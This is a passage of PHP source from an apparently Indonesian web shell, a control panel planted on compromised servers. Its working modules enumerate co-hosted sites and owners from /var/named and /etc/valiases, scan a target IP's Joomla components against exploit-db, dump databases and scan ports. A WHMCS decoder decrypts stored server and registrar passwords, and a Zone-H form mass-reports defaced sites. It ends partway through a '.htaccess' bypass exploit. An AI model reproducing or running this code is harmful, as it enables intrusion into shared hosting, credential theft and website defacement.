<option value="tutorial2">Search Engine Hacking</option>
<option value="tutorial3">SQL Injection dengan hackbar</option>
<option value="tutorial1" >Bypass Union</option>
</select>
<input type="submit" name="submit" class="inputzbut" value="Download">
</form></td>
</tr>
<tr>
<td>
<form method="post" action="">
E-Book from Syn|gress :
<select class="inputzbut" name="pilih" id="pilih">
<option value=""selected>-----------------[ Select ]-----------------</option>
<option value="cryptography_for_defeloper">Cryptography for Developer</option>
<option value="tutorial31">Mobile Malware Attack and Defense</option>
<option value="forensic">CD and DVD Forensic</option>
<option value="ddd">Open Sourch Security Tools</option>
<option value="metasploit">Metaslpoit Toolkit</option>
<option value="stealing_network">Stealing the Network</option>
<option value="security_polices">Creating Security Polices</option>
</select>
<input type="submit" name="submit" class="inputzbut" value="Download">
</form></td>
<td>
<form method="post" action="">
X-CODE MAGAZINE :
<select class="inputzbut" name="pilih" id="pilih">
<option value=""selected>-----------------[ Select ]-----------------</option>
<option value="tutorial4">X-CODE MAGAZINE 1</option>
<option value="tutorial5">X-CODE MAGAZINE 2</option>
<option value="tutorial6">X-CODE MAGAZINE 3</option>
<option value="tutorial7">X-CODE MAGAZINE 4</option>
<option value="tutorial8">X-CODE MAGAZINE 5</option>
<option value="tutorial9">X-CODE MAGAZINE 6</option>
<option value="tutorial10">X-CODE MAGAZINE 7</option>
<option value="tutorial11">X-CODE MAGAZINE 8</option>
<option value="tutorial12">X-CODE MAGAZINE 9</option>
<option value="tutorial13">X-CODE MAGAZINE 10</option>
<option value="tutorial14">X-CODE MAGAZINE 11</option>
<option value="tutorial15">X-CODE MAGAZINE 12</option>
<option value="tutorial16">X-CODE MAGAZINE 13</option>
<option value="tutorial17">X-CODE MAGAZINE 14</option>
<option value="tutorial18">X-CODE MAGAZINE 15</option>
<option value="tutorial19">X-CODE MAGAZINE 16</option>
<option value="tutorial20">X-CODE MAGAZINE 17</option>
<option value="tutorial21">X-CODE MAGAZINE 18</option>
<option value="tutorial22">X-CODE MAGAZINE 19</option>
<option value="tutorial23">X-CODE MAGAZINE 20</option>
<option value="tutorial024">X-CODE MAGAZINE 21</option>
</select>
<input type="submit" name="submit" class="inputzbut" value="Download" ></a>
</form></td></tr></table><br><br>
<?php
$submit = $_POST ['submit'];
if(isset($submit)) {
$pilih = $_POST['pilih'];
if ( $pilih == 'tutorial1') {
?>
<script>
document.location = 'http://www.pharmconseil-elearning.com/main/upload/by_passing_illegal_mix_of_collations_for_operation__union__by_x_1n73ct.pdf';
</script>
<?php
}
elseif ( $pilih == 'tutorial2') {
?>
<script>
document.location = 'http://www.pharmconseil-elearning.com/main/upload/Search_engine_hacking_by_x_1n73ct.pdf';
</script>
<?php
}
elseif ( $pilih == 'tutorial3') {
?>
<script>
document.location = 'http://www.pharmconseil-elearning.com/main/upload/Sql_injection_dengan_hackbar.pdf';
</script>
<?php
}
elseif ( $pilih == 'tutorial4') {
?>
<script>
document.location = 'http://xcode.or.id/files/xcode_magazine_1.zip';
</script>
<?php
}
elseif ( $pilih == 'tutorial5') {
?>
<script>
document.location = 'http://xcode.or.id/files/xcode_magazine_2.zip';
</script>
<?php
}
elseif ( $pilih == 'tutorial6') {
?>
<script>
document.location = 'http://xcode.or.id/files/xcode_magazine_3.zip';
</script>
<?php
}
elseif ( $pilih == 'tutorial7') {
?>
<script>
document.location = 'http://xcode.or.id/files/xcode_magazine_4.zip';
</script>
<?php
}
elseif ( $pilih == 'tutorial8') {
?>
<script>
document.location = 'http://xcode.or.id/files/xcode_magazine_5.rar';
</script>
<?php
}
elseif ( $pilih == 'tutorial9') {
?>
<script>
document.location = 'http://xcode.or.id/files/xcode_magazine_6.rar';
</script>
<?php
}
elseif ( $pilih == 'tutorial10') {
?>
<script>
document.location = 'http://xcode.or.id/files/xcode_magazine_7.rar';
</script>
<?php
}
elseif ( $pilih == 'tutorial11') {
?>
<script>
document.location = 'http://xcode.or.id/files/xcode_magazine_8.rar';
</script>
<?php
}
elseif ( $pilih == 'tutorial12') {
?>
<script>
document.location = 'http://xcode.or.id/files/xcode9.zip';
</script>
<?php
}
elseif ( $pilih == 'tutorial13') {
?>
<script>
document.location = 'http://xcode.or.id/files/xcode10.zip';
</script>
<?php
}
elseif ( $pilih == 'tutorial14') {
?>
<script>
document.location = 'http://xcode.or.id/files/xcode11.zip';
</script>
<?php
}
elseif ( $pilih == 'tutorial15') {
?>
<script>
document.location = 'http://xcode.or.id/files/Xcode12.zip';
</script>
<?php
}
elseif ( $pilih == 'tutorial16') {
?>
<script>
document.location = 'http://xcode.or.id/files/Xcode13.zip';
</script>
<?php
}
elseif ( $pilih == 'tutorial17') {
?>
<script>
document.location = 'http://xcode.or.id/files/Xcode14.zip';
</script>
<?php
}
elseif ( $pilih == 'tutorial18') {
?>
<script>
document.location = 'http://xcode.or.id/Xcode15.zip';
</script>
<?php
}
elseif ( $pilih == 'tutorial19') {
?>
<script>
document.location = 'http://xcode.or.id/xcode_magazine_16.zip';
</script>
<?php
}
elseif ( $pilih == 'tutorial20') {
?>
<script>
document.location = 'http://xcode.or.id/xcode_magazine_17.zip';
</script>
<?php
}
elseif ( $pilih == 'tutorial21') {
?>
<script>
document.location = 'http://xcode.or.id/xcode_magazine_18.zip';
</script>
<?php
}
elseif ( $pilih == 'tutorial22') {
?>
<script>
document.location = 'http://xcode.or.id/xcode_magazine_19.zip';
</script>
<?php
}
elseif ( $pilih == 'tutorial23') {
?>
<script>
document.location = 'http://xcode.or.id/xcode_magazine_20.zip';
</script>
<?php
}
elseif ( $pilih == 'tutorial024') {
?>
<script>
document.location = 'http://xcode.or.id/xcode_magazine_21.zip';
</script>
<?php
}
elseif ( $pilih == 'tutorial24') {
?>
<script>
document.location = 'http://www.insecure.in/ebooks/hacking_exposed_5.rar';
</script>
<?php
}
elseif ( $pilih == 'tutorial25') {
?>
<script>
document.location = 'http://www.insecure.in/ebooks/internet_denial_of_service.rar';
</script>
<?php
}
elseif ( $pilih == 'tutorial26') {
?>
<script>
document.location = 'http://www.insecure.in/ebooks/computer_viruses_for_dummies.rar';
</script>
<?php
}
elseif ( $pilih == 'tutorial27') {
?>
<script>
document.location = 'http://www.insecure.in/ebooks/hack_attacks_testing.rar';
</script>
<?php
}
elseif ( $pilih == 'tutorial28') {
?>
<script>
document.location = 'http://www.insecure.in/ebooks/secrets_of_super_hacker.rar';
</script>
<?php
}
elseif ( $pilih == 'tutorial29') {
?>
<script>
document.location = 'http://www.insecure.in/ebooks/stealing_network_how_to_own_shadow.rar';
</script>
<?php
}
elseif ( $pilih == 'tutorial30') {
?>
<script>
document.location = 'http://www.insecure.in/ebooks/webapp_hackers_handbook.rar';
</script>
<?php
}
elseif ( $pilih == 'ddd') {
?>
<script>
document.location = 'http://199.91.153.95/t8dni7k639hg/3o321lcwwk8u5bh/Open_Source_Security_Tools.pdf';
</script>
<?php
}
elseif ( $pilih == 'tutorial31') {
?>
<script>
document.location = 'http://205.196.121.149/sg22hm8qjbhg/afsa7ibbk4ny2kd/Mobile_Malware_Attacks_and_Defense.pdf';
</script>
<?php
}
elseif ( $pilih == 'cryptography_for_defeloper') {
?>
<script>
document.location = 'http://205.196.121.248/0sod33qw66ug/wypyz555sc9bn7h/Cryptography_for_Developers.pdf';
</script>
<?php
}
elseif ( $pilih == 'forensic') {
?>
<script>
document.location = 'http://205.196.120.85/uisebgmioyjg/6l70l00ba9yoksq/CD_and_DVD_Forensics.pdf';
</script>
<?php
}
elseif ( $pilih == 'metasploit') {
?>
<script>
document.location = 'http://199.91.153.192/3t115p2f6gvg/zvrrddmq6icqtd2/Metasploit_Toolkit.pdf';
</script>
<?php
}elseif ( $pilih == 'stealing_network') {
?>
<script>
document.location = 'http://205.196.123.138/wbsxltb8rbtg/5vm8a1d23i9zje3/Stealing_the_Network_-_How_to_Own_the_Box.pdf';
</script>
<?php
}elseif ( $pilih == 'security_polices') {
?>
<script>
document.location = 'http://199.91.153.73/6le01f562ehg/6l5ep021dhvlhlq/Creating_Security_Policies_and_Implementing_Identity_Management_with_Active_Directory.pdf';
</script>
<?php
}
}
}
////////////////////////////////////////////////////////////////////
//////////////////////////////////////////////////////////////////
elseif(isset($_GET['x']) && ($_GET['x'] == 'cms_detect'))
{
?>
<form action="?y=<?php echo $pwd; ?>&x=cms_detect" method="post">
<br><br><br><br><center><b><font size=4>+--=[ CMS Detector ]=--+</font></b></center><br><br>
<?php
if(!file_exists('pee.tmp')){
@fopen('pee.tmp', 'w');
echo'<table align="center" border="1" width="45%" cellspacing="0" cellpadding="4" class="td1">';
echo'<tr><td><center><b>SITE</b></center></td><td><center><b>USER</b></center></td><td><center><b>CMS</b></center></td></table>';
$p = 0;
if(is_readable("/var/named")){
$list = scandir("/var/named");
$current_dir = posix_getcwd();
$dir = explode("/",$current_dir);
foreach($list as $domain){
if(strpos($domain,".db"))
{
$domain = str_replace('.db','',$domain);
$owner = posix_getpwuid(fileowner("/etc/valiases/".$domain));
error_reporting(0);
$link = $pageURL.'pee/'.$owner['name'];
cms_add($link,$domain,$owner['name'],"WordPress");
cms_add($link,$domain,$owner['name'],"Joomla");
cms_add($link,$domain,$owner['name'],"vBulletin");
cms_add($link,$domain,$owner['name'],"WHMCS");
cms_add($link,$domain,$owner['name'],"PhpBB");
cms_add($link,$domain,$owner['name'],"MyBB");
cms_add($link,$domain,$owner['name'],"IPB");
cms_add($link,$domain,$owner['name'],"SMF");
cms_add($link,$domain,$owner['name'],"Drupal");
cms_add($link,$domain,$owner['name'],"e107");
cms_add($link,$domain,$owner['name'],"Seditio");
cms_add($link,$domain,$owner['name'],"osCommerce");
}
}
}
}else{
echo'<table align="center" border="1" width="45%" cellspacing="0" cellpadding="4" class="td1">';
echo'<tr><td><center><b>SITE</b></center></td><td><center><b>USER</b></center></td><td><center><b>CMS</b></center></td></table><br><br>';
$content = file_get_contents($pageURL.'pee.tmp');
echo $content;
}
}
/////////////////////////////////////////////////////////////////
elseif(isset($_GET['x']) && ($_GET['x'] == 'jss'))
{
?>
<form action="?y=<?php echo $pwd; ?>&x=jss" method="post">
<?php
echo '
<br><br><br><p align="center"><b><font size="3">Enter Targeting IP</font></b></p><br>
<form method="POST">
<p align="center"><input type="text" class="inputz" name="site" size="65"><input class="inputzbut" type="submit" value="Scan"></p>
</form><center>
';
@set_time_limit(0);
@error_reporting(E_ALL | E_NOTICE);
function check_exploit($comxx){
$link ="http://www.exploit-db.com/search/?action=search&filter_page=1&filter_description=$comxx&filter_exploit_text=&filter_author=&filter_platform=0&filter_type=0&filter_lang_id=0&filter_port=&filter_osvdb=&filter_cve=";
$result = @file_get_contents($link);
if (eregi("No results",$result)) {
echo"<td>Not Found</td><td><a href='http://www.google.com/#hl=en&q=download+$comxx+joomla+extension'>Download</a></td></tr>";
}else{
echo"<td><a href='$link'>Found</a></td><td><=</td></tr>";
}
}
function check_com($url){
$source = @file_get_contents($url);
preg_match_all('{option,(.*?)/}i',$source,$f);
preg_match_all('{option=(.*?)(&|&|")}i',$source,$f2);
preg_match_all('{/components/(.*?)/}i',$source,$f3);
$arz=array_merge($f2[1],$f[1],$f3[1]);
$coms=array();
foreach(array_unique($arz) as $x){
$coms[]=$x;
}
foreach($coms as $comm){
echo "<tr><td>$comm</td>";
check_exploit($comm);
}
}
function sec($site){
preg_match_all('{http://(.*?)(/index.php)}siU',$site, $sites);
if(eregi("www",$sites[0][0])){
return $site=str_replace("index.php","",$sites[0][0]);
}else{
return $site=str_replace("http://","http://www.",str_replace("index.php","",$sites[0][0]));
}}
$npages = 50000;
if ($_POST)
{
$ip = trim(strip_tags($_POST['site']));
$npage = 1;
$allLinks = array();
while($npage <= $npages)
{
$x=@file_get_contents('http://www.bing.com/search?q=ip%3A' . $ip . '+index.php?option=com&first=' . $npage);
if ($x)
{
preg_match_all('(<div class="sb_tlst">.*<h3>.*<a href="(.*)".*>(.*)</a>.*</h3>.*</div>siU', $x, $findlink);
foreach ($findlink[1] as $fl)
$allLinks[]=sec($fl);
$npage = $npage + 10;
if (preg_match('(first=' . $npage . '&)siU', $x, $linksuiv) == 0)
break;
}
else
break;
}
$allDmns = array();
foreach ($allLinks as $kk => $vv){
$allDmns[] = $vv;
}
echo'<table border="1" width=\"80%\" align=\"center\">
<tr><td width=\"30%\"><b>Server IP : </b></td><td><b>'.$ip.'</b></td></tr>
<tr><td width=\"30%\"><b>Sites Found : </b></td><td><b>'.count(array_unique($allDmns)).'</b></td></tr>
</table>';
echo "<br><br>";
echo'<table border="1" width="80%" align=\"center\">';
foreach(array_unique($allDmns) as $h3h3){
echo'<tr id=new><td><b><a href='.$h3h3.'>'.$h3h3.'</a></b></td><td><b>Exploit-db</b></td><td><b>challenge of Exploiting ..!</b></td></tr>';
check_com($h3h3);
}
echo"</table>";
}
}
/////////////////////////////////////////////////////////////////
elseif(isset($_GET['x']) && ($_GET['x'] == 'dump'))
{
?>
<form action="?y=<?php echo $pwd; ?>&x=dump" method="post">
<?php
echo $head.'<p align="center">';
echo '
<table width=371 class=tabnet >
<tr><th colspan="2">Database Dump</th></tr>
<tr>
<td>Server </td>
<td><input class="inputz" type=text name=server size=52></td></tr><tr>
<td>Username</td>
<td><input class="inputz" type=text name=username size=52></td></tr><tr>
<td>Password</td>
<td><input class="inputz" type=text name=password size=52></td></tr><tr>
<td>DataBase Name</td>
<td><input class="inputz" type=text name=dbname size=52></td></tr>
<tr>
<td>DB Type </td>
<td><form method=post action="'.$me.'">
<select class="inputz" name=method>
<option value="gzip">Gzip</option>
<option value="sql">Sql</option>
</select>
<input class="inputzbut" type=submit value=" Dump! " ></td></tr>
</form></center></table>';
if ($_POST['username'] && $_POST['dbname'] && $_POST['method']){
$date = date("Y-m-d");
$dbserver = $_POST['server'];
$dbuser = $_POST['username'];
$dbpass = $_POST['password'];
$dbname = $_POST['dbname'];
$file = "Dump-$dbname-$date";
$method = $_POST['method'];
if ($method=='sql'){
$file="Dump-$dbname-$date.sql";
$fp=fopen($file,"w");
}else{
$file="Dump-$dbname-$date.sql.gz";
$fp = gzopen($file,"w");
}
function write($data) {
global $fp;
if ($_POST['method']=='ssql'){
fwrite($fp,$data);
}else{
gzwrite($fp, $data);
}}
mysql_connect ($dbserver, $dbuser, $dbpass);
mysql_select_db($dbname);
$tables = mysql_query ("SHOW TABLES");
while ($i = mysql_fetch_array($tables)) {
$i = $i['Tables_in_'.$dbname];
$create = mysql_fetch_array(mysql_query ("SHOW CREATE TABLE ".$i));
write($create['Create Table'].";
");
$sql = mysql_query ("SELECT * FROM ".$i);
if (mysql_num_rows($sql)) {
while ($row = mysql_fetch_row($sql)) {
foreach ($row as $j => $k) {
$row[$j] = "'".mysql_escape_string($k)."'";
}
write("INSERT INTO $i VALUES(".implode(",", $row).");
");
}
}
}
if ($method=='ssql'){
fclose ($fp);
}else{
gzclose($fp);}
header("Content-Disposition: attachment; filename=" . $file);
header("Content-Type: application/download");
header("Content-Length: " . filesize($file));
flush();
$fp = fopen($file, "r");
while (!feof($fp))
{
echo fread($fp, 65536);
flush();
}
fclose($fp);
}
}
/////////////////////////////////////////////////////////////////
elseif(isset($_GET['x']) && ($_GET['x'] == 'port-sc'))
{
?>
<form action="?y=<?php echo $pwd; ?>&x=port-sc" method="post">
<?php
echo '<br><br><center><br><b>+--=[ Port Scanner ]=--+</b><br>';
$start = strip_tags($_POST['start']);
$end = strip_tags($_POST['end']);
$host = strip_tags($_POST['host']);
if(isset($_POST['host']) && is_numeric($_POST['end']) && is_numeric($_POST['start'])){
for($i = $start; $i<=$end; $i++){
$fp = @fsockopen($host, $i, $errno, $errstr, 3);
if($fp){
echo 'Port '.$i.' is <font color=red>open</font><br>';
}
flush();
}
}else{
echo '<table class=tabnet style="width:300px;padding:0 1px;">
<input type="hidden" name="y" value="phptools">
<tr><th colspan="5">Port Scanner</th></center></tr>
<tr>
<td>Host</td>
<td><input type="text" class="inputz" style="width:220px;color:#00FFFF;" name="host" value="localhost"/></td>
</tr>
<tr>
<td>Port start</td>
<td><input type="text" class="inputz" style="width:220px;color:#00FFFF;" name="start" value="0"/></td>
</tr>
<tr><td>Port end</td>
<td><input type="text" class="inputz" style="width:220px;color:#00FFFF;" name="end" value="5000"/></td>
</tr><td><input class="inputzbut" type="submit" style="color:#00FFFF" value="Scan Ports" />
</td></form></center></table>';
}
}
/////////////////////////////////////////////////////////////////
elseif(isset($_GET['x']) && ($_GET['x'] == 'hash'))
{
$submit= $_POST['enter'];
if (isset($submit)) {
$pass = $_POST['password']; // password
$salt = '}#f4ga~g%7hjg4&j(7mk?/!bj30ab-wi=6^7-$^R9F|GK5J#E6WT;IO[JN'; // random string
$hash = md5($pass); // md5 hash #1
$md4 = hash("md4",$pass);
$hash_md5 = md5($salt.$pass); // md5 hash with salt #2
$hash_md5_double = md5(sha1($salt.$pass)); // md5 hash with salt & sha1 #3
$hash1 = sha1($pass); // sha1 hash #4
$sha256 = hash("sha256",$text);
$hash1_sha1 = sha1($salt.$pass); // sha1 hash with salt #5
$hash1_sha1_double = sha1(md5($salt.$pass)); // sha1 hash with salt & md5 #6
}
echo '<form action="" method="post"><b><table class=tabnet>';
echo '<tr><th colspan="2">Password Hash</th></center></tr>';
echo '<tr><td><b>masukan kata yang ingin di encrypt:</b></td>';
echo '<td><input class="inputz" type="text" name="password" size="40" />';
echo '<input class="inputzbut" type="submit" name="enter" value="hash" />';
echo '</td></tr><br>';
echo '<tr><th colspan="2">Hasil Hash</th></center></tr>';
echo '<tr><td>Original Password</td><td><input class=inputz type=text size=50 value='.$pass.'></td></tr><br><br>';
echo '<tr><td>MD5</td><td><input class=inputz type=text size=50 value='.$hash.'></td></tr><br><br>';
echo '<tr><td>MD4</td><td><input class=inputz type=text size=50 value='.$md4.'></td></tr><br><br>';
echo '<tr><td>MD5 with Salt</td><td><input class=inputz type=text size=50 value='.$hash_md5.'></td></tr><br><br>';
echo '<tr><td>MD5 with Salt & Sha1</td><td><input class=inputz type=text size=50 value='.$hash_md5_double.'></td></tr><br><br>';
echo '<tr><td>Sha1</td><td><input class=inputz type=text size=50 value='.$hash1.'></td></tr><br><br>';
echo '<tr><td>Sha256</td><td><input class=inputz type=text size=50 value='.$sha256.'></td></tr><br><br>';
echo '<tr><td>Sha1 with Salt</td><td><input class=inputz type=text size=50 value='.$hash1_sha1.'></td></tr><br><br>';
echo '<tr><td>Sha1 with Salt & MD5</td><td><input class=inputz type=text size=50 value='.$hash1_sha1_double.'></td></tr><br><br></table>';
}
/////////////////////////////////////////////////////////////////
elseif(isset($_GET['x']) && ($_GET['x'] == 'whmcs'))
{
?>
<form action="?y=<?php echo $pwd; ?>&x=whmcs" method="post">
<?php
function decrypt ($string,$cc_encryption_hash)
{
$key = md5 (md5 ($cc_encryption_hash)) . md5 ($cc_encryption_hash);
$hash_key = _hash ($key);
$hash_length = strlen ($hash_key);
$string = base64_decode ($string);
$tmp_iv = substr ($string, 0, $hash_length);
$string = substr ($string, $hash_length, strlen ($string) - $hash_length);
$iv = $out = '';
$c = 0;
while ($c < $hash_length)
{
$iv .= chr (ord ($tmp_iv[$c]) ^ ord ($hash_key[$c]));
++$c;
}
$key = $iv;
$c = 0;
while ($c < strlen ($string))
{
if (($c != 0 AND $c % $hash_length == 0))
{
$key = _hash ($key . substr ($out, $c - $hash_length, $hash_length));
}
$out .= chr (ord ($key[$c % $hash_length]) ^ ord ($string[$c]));
++$c;
}
return $out;
}
function _hash ($string)
{
if (function_exists ('sha1'))
{
$hash = sha1 ($string);
}
else
{
$hash = md5 ($string);
}
$out = '';
$c = 0;
while ($c < strlen ($hash))
{
$out .= chr (hexdec ($hash[$c] . $hash[$c + 1]));
$c += 2;
}
return $out;
}
echo "
<br><center><font size='5' color='#00FFFF'><b>-=[ WHMCS Decoder ]=-</b></font></center>
<center>
<br>
<FORM action='' method='post'>
<input type='hidden' name='form_action' value='2'>
<br>
<table class=tabnet style=width:320px;padding:0 1px;>
<tr><th colspan=2>WHMCS Decoder</th></tr>
<tr><td>db_host </td><td><input type='text' style='color:#00FFFF;background-color:' class='inputz' size='38' name='db_host' value='localhost'></td></tr>
<tr><td>db_username </td><td><input type='text' style='color:#00FFFF;background-color:' class='inputz' size='38' name='db_username' value=''></td></tr>
<tr><td>db_password</td><td><input type='text' style='color:#00FFFF;background-color:' class='inputz' size='38' name='db_password' value=''></td></tr>
<tr><td>db_name</td><td><input type='text' style='color:#00FFFF;background-color:' class='inputz' size='38' name='db_name' value=''></td></tr>
<tr><td>cc_encryption_hash</td><td><input style='color:#00FFFF;background-color:' type='text' class='inputz' size='38' name='cc_encryption_hash' value=''></td></tr>
<td> <INPUT class='inputzbut' type='submit' style='color:#00FFFF;background-color:' value='Submit' name='Submit'></td>
</table>
</FORM>
</center>
";
if($_POST['form_action'] == 2 )
{
//include($file);
$db_host=($_POST['db_host']);
$db_username=($_POST['db_username']);
$db_password=($_POST['db_password']);
$db_name=($_POST['db_name']);
$cc_encryption_hash=($_POST['cc_encryption_hash']);
$link=mysql_connect($db_host,$db_username,$db_password) ;
mysql_select_db($db_name,$link) ;
$query = mysql_query("SELECT * FROM tblservers");
while($v = mysql_fetch_array($query)) {
$ipaddress = $v['ipaddress'];
$username = $v['username'];
$type = $v['type'];
$active = $v['active'];
$hostname = $v['hostname'];
echo("<center><table border='1'>");
$password = decrypt ($v['password'], $cc_encryption_hash);
echo("<tr><td>Type</td><td>$type</td></tr>");
echo("<tr><td>Active</td><td>$active</td></tr>");
echo("<tr><td>Hostname</td><td>$hostname</td></tr>");
echo("<tr><td>Ip</td><td>$ipaddress</td></tr>");
echo("<tr><td>Username</td><td>$username</td></tr>");
echo("<tr><td>Password</td><td>$password</td></tr>");
echo "</table><br><br></center>";
}
$link=mysql_connect($db_host,$db_username,$db_password) ;
mysql_select_db($db_name,$link) ;
$query = mysql_query("SELECT * FROM tblregistrars");
echo("<center>Domain Reseller <br><table class=tabnet border='1'>");
echo("<tr><td>Registrar</td><td>Setting</td><td>Value</td></tr>");
while($v = mysql_fetch_array($query)) {
$registrar = $v['registrar'];
$setting = $v['setting'];
$value = decrypt ($v['value'], $cc_encryption_hash);
if ($value=="") {
$value=0;
}
$password = decrypt ($v['password'], $cc_encryption_hash);
echo("<tr><td>$registrar</td><td>$setting</td><td>$value</td></tr>");
}
}
}
elseif(isset($_GET['x']) && ($_GET['x'] == 'zone'))
{
?>
<form action="?y=<?php echo $pwd; ?>&x=zone" method="post">
<br><br><center>
<!-- Zone-H -->
<form action="" method='POST'><table><table class='tabnet'><tr>
<td style='background-color:#0000;padding-left:10px;'><tr><tr><th colspan="2"><h2>Zone-H Defacer</h2></th></tr></td></tr><tr><td height='45' colspan='2'><form method="post">
<input type="text" class="inputz" name="defacer" value="Nama Defacer" />
<select name="hackmode" class="inputz" >
<option >------------------------Pilih Salah Satu------------------------</option>
<option value="1">known vulnerability (i.e. unpatched system)</option>
<option value="2" >undisclosed (new) vulnerability</option>
<option value="3" >configuration / admin. mistake</option>
<option value="4" >brute force attack</option>
<option value="5" >social engineering</option>
<option value="6" >Web Server intrusion</option>
<option value="7" >Web Server external module intrusion</option>
<option value="8" >Mail Server intrusion</option>
<option value="9" >FTP Server intrusion</option>
<option value="10" >SSH Server intrusion</option>
<option value="11" >Telnet Server intrusion</option>
<option value="12" >RPC Server intrusion</option>
<option value="13" >Shares misconfiguration</option>
<option value="14" >Other Server intrusion</option>
<option value="15" >SQL Injection</option>
<option value="16" >URL Poisoning</option>
<option value="17" >File Inclusion</option>
<option value="18" >Other Web Application bug</option>
<option value="19" >Remote administrative panel access bruteforcing</option>
<option value="20" >Remote administrative panel access password guessing</option>
<option value="21" >Remote administrative panel access social engineering</option>
<option value="22" >Attack against administrator(password stealing/sniffing)</option>
<option value="23" >Access credentials through Man In the Middle attack</option>
<option value="24" >Remote service password guessing</option>
<option value="25" >Remote service password bruteforce</option>
<option value="26" >Rerouting after attacking the Firewall</option>
<option value="27" >Rerouting after attacking the Router</option>
<option value="28" >DNS attack through social engineering</option>
<option value="29" >DNS attack through cache poisoning</option>
<option value="30" >Not available</option>
</select>
<select name="reason" class="inputz" >
<option >-------------Pilih Salah Satu---------------</option>
<option value="1" >Heh...just for fun!</option>
<option value="2" >Revenge against that website</option>
<option value="3" >Political reasons</option>
<option value="4" >As a challenge</option>
<option value="5" >I just want to be the best defacer</option>
<option value="6" >Patriotism</option>
<option value="7" >Not available</option>
</select>
<input type="hidden" name="action" value="zone">
<center><textarea style="background:black;outline:none;" name="domain" cols="116" rows="9" id="domains">List Of Domains</textarea>
<br /><input class='inputzbut' type="submit" value="Send Now !" name="SendNowToZoneH" /><br></center></table>
</form></td></tr></table></form>
<!-- End Of Zone-H -->
</td></center><br><br>
<?php
echo '<center>';
ob_start();
$sub = get_loaded_extensions();
if(!in_array("curl", $sub)){die('[-] Curl Is Not Supported !! ');}
$hacker = $_POST['defacer'];
$method = $_POST['hackmode'];
$neden = $_POST['reason'];
$site = $_POST['domain'];
if (empty($hacker)){die ("[-] You Must Fill the Attacker name !");}
elseif($method == "--------SELECT--------") {die("[-] You Must Select The Method !");}
elseif($neden == "--------SELECT--------") {die("[-] You Must Select The Reason");}
elseif(empty($site)) {die("[-] You Must Inter the Sites List ! ");}
$i = 0;
$sites = explode("
", $site);
while($i < count($sites))
{
if(substr($sites[$i], 0, 4) != "http") {$sites[$i] = "http://".$sites[$i];}
ZoneH("http://zone-h.org/notify/single", $hacker, $method, $neden, $sites[$i]);
echo "Site : ".$sites[$i]." Defaced !
";
++$i;
}
echo "[+] Sending Sites To Zone-H Has Been Completed Successfully !! ";
echo '</center>';
}
/////////////////////////////////////////////////////////////////////////////////////////////
elseif(isset($_GET['x']) && ($_GET['x'] == 'bypass-cf'))
{
echo '
<form method="POST"><br><br>
<center><p align="center" dir="ltr"><b><font size="5" face="Tahoma">+--=[ Bypass
<font color="#CC0000">CloudFlare</font> ]=--+</font></b></p>
<select class="inputz" name="krz">
<option>ftp</option>
<option>direct-conntect</option>
<option>webmail</option>
<option>cpanel</option>
</select>
<input class="inputz" type="text" name="target" value="url">
<input class="inputzbut" type="submit" value="Bypass"></center>
';
$target = $_POST['target'];
# Bypass From FTP
if($_POST['krz'] == "ftp") {
$ftp = gethostbyname("ftp."."$target");
echo "<br><p align='center' dir='ltr'><font face='Tahoma' size='2' color='#00FFFF'>Correct
ip is : </font><font face='Tahoma' size='2' color='#F68B1F'>$ftp</font></p>";
}
# Bypass From Direct-Connect
if($_POST['krz'] == "direct-conntect") {
$direct = gethostbyname("direct-connect."."$target");
echo "<br><p align='center' dir='ltr'><font face='Tahoma' size='2' color='#00FFFF'>Correct
ip is : </font><font face='Tahoma' size='2' color='#F68B1F'>$direct</font></p>";
}
# Bypass From Webmail
if($_POST['krz'] == "webmail") {
$web = gethostbyname("webmail."."$target");
echo "<br><p align='center' dir='ltr'><font face='Tahoma' size='2' color='#00FFFF'>Correct
ip is : </font><font face='Tahoma' size='2' color='#F68B1F'>$web</font></p>";
}
# Bypass From Cpanel
if($_POST['krz'] == "cpanel") {
$cpanel = gethostbyname("cpanel."."$target");
echo "<br><p align='center' dir='ltr'><font face='Tahoma' size='2' color='#00FFFF'>Correct
ip is : </font><font face='Tahoma' size='2' color='#F68B1F'>$cpanel</font></p>";
}
}
//////////////////////////////////////////////////////////////////////////////////////////////
//////////////////////////////////////////////////////////////////////////////////////////////
elseif(isset($_GET['x']) && ($_GET['x'] == 'hashid')) {
if(isset($_POST['gethash'])){
$hash = $_POST['hash'];
if(strlen($hash)==32){
$hashresult = "MD5 Hash";
}elseif(strlen($hash)==40){
$hashresult = "SHA-1 Hash/ /MySQL5 Hash";
}elseif(strlen($hash)==13){
$hashresult = "DES(Unix) Hash";
}elseif(strlen($hash)==16){
$hashresult = "MySQL Hash / /DES(Oracle Hash)";
}elseif(strlen($hash)==41){
$GetHashChar = substr($hash, 40);
if($GetHashChar == "*"){
$hashresult = "MySQL5 Hash";
}
}elseif(strlen($hash)==64){
$hashresult = "SHA-256 Hash";
}elseif(strlen($hash)==96){
$hashresult = "SHA-384 Hash";
}elseif(strlen($hash)==128){
$hashresult = "SHA-512 Hash";
}elseif(strlen($hash)==34){
if(strstr($hash, '$1$')){
$hashresult = "MD5(Unix) Hash";
}
}elseif(strlen($hash)==37){
if(strstr($hash, '$apr1$')){
$hashresult = "MD5(APR) Hash";
}
}elseif(strlen($hash)==34){
if(strstr($hash, '$H$')){
$hashresult = "MD5(phpBB3) Hash";
}
}elseif(strlen($hash)==34){
if(strstr($hash, '$P$')){
$hashresult = "MD5(Wordpress) Hash";
}
}elseif(strlen($hash)==39){
if(strstr($hash, '$5$')){
$hashresult = "SHA-256(Unix) Hash";
}
}elseif(strlen($hash)==39){
if(strstr($hash, '$6$')){
$hashresult = "SHA-512(Unix) Hash";
}
}elseif(strlen($hash)==24){
if(strstr($hash, '==')){
$hashresult = "MD5(Base-64) Hash";
}
}else{
$hashresult = "Hash type not found";
}
}else{
$hashresult = "Not Hash Entered";
}
?>
<center><br><Br><br>
<form action="" method="POST">
<tr>
<table class="tabnet">
<th colspan="5">Hash Identification</th>
<tr class="optionstr"><B><td>Enter Hash</td></b><td>:</td> <td><input type="text" name="hash" size='60' class="inputz" /></td><td><input type="submit" class="inputzbut" name="gethash" value="Identify Hash" /></td></tr>
<tr class="optionstr"><b><td>Result</td><td>:</td><td><?php echo $hashresult; ?></td></tr></b>
</table></tr></form>
</center>
<?php
}
//////////////////////////////////////////////////////////////////////////////////////////////
elseif(isset($_GET['x']) && ($_GET['x'] == 'python')) {
echo "<center/><br/><b>
+--==[ python Bypass Exploit ]==--+
</b><br><br>";
mkdir('python', 0755);
chdir('python');
$kokdosya = ".htaccess";
$dosya_adi = "$kokdosya";
